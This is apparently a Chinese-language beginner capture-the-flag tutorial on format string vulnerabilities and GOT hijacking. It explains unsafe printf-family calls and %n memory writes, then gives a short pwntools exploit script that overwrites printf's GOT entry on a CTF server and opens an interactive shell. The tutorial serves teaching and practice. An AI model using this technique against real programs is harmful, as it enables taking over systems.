入门格式化字符串 GOT劫持
借鉴
格式化字符串漏洞的基本概念
格式化字符串漏洞通常发生在程序中使用了格式化输出函数(如 printf
、sprintf
、fprintf
等),但没有正确控制格式化字符串。这种漏洞可以让攻击者通过精心构造的格式化字符串来影响程序的行为,读取或修改内存中的数据,甚至执行任意代码。
漏洞点
-
未经验证的格式化字符串输入:
- 描述:如果程序允许用户输入格式化字符串,并将这些输入直接传递给格式化函数(如
printf
),攻击者可以利用这些输入来读取或写入程序的内存。 - 例子:
printf(user_input);
,其中user_input
是用户提供的字符串。如果user_input
包含格式说明符,如%x
、%s
等,可能会泄露内存信息。
- 描述:如果程序允许用户输入格式化字符串,并将这些输入直接传递给格式化函数(如
-
格式字符串中包含不受控制的格式说明符:
- 描述:格式化字符串中的格式说明符(如
%x
、%s
、%n
等)可以读取内存中的数据、打印信息或写入数据。如果格式说明符不受控制,攻击者可以利用这些格式说明符来获取程序内存中的敏感信息或修改内存。 - 例子:
printf("User input: %s", user_input);
,如果user_input
包含格式说明符,可能会导致意外行为。
- 描述:格式化字符串中的格式说明符(如
-
利用
%n
格式说明符进行内存写入:- 描述:
%n
格式说明符允许将已经输出的字符数写入到指定的内存地址。攻击者可以利用这个特性来修改程序内存中的值,从而实现任意代码执行或其他恶意行为。 - 例子:
printf("%n", &some_variable);
,如果攻击者能控制这个格式说明符,可能会改变some_variable
的值。
- 描述:
-
未验证的用户输入被用于格式化操作:
- 描述:程序接受来自不可信来源的格式化字符串并直接使用,未对输入进行严格验证和清理。
- 例子:
fprintf(log_file, user_input);
,如果user_input
包含格式说明符,可能会导致日志文件的内容被恶意篡改。
from pwn import *
elf=ELF('./pwn')
#p=process('./pwn')
p = remote('node5.anna.nssctf.cn',24744)
print_got=elf.got['printf']
p.recvuntil("\n")
p.sendline("%10$s")
baskdoor=int(p.recv(10),16)
payload=fmtstr_payload(11,{print_got:baskdoor})
p.sendline(payload)
p.interactive()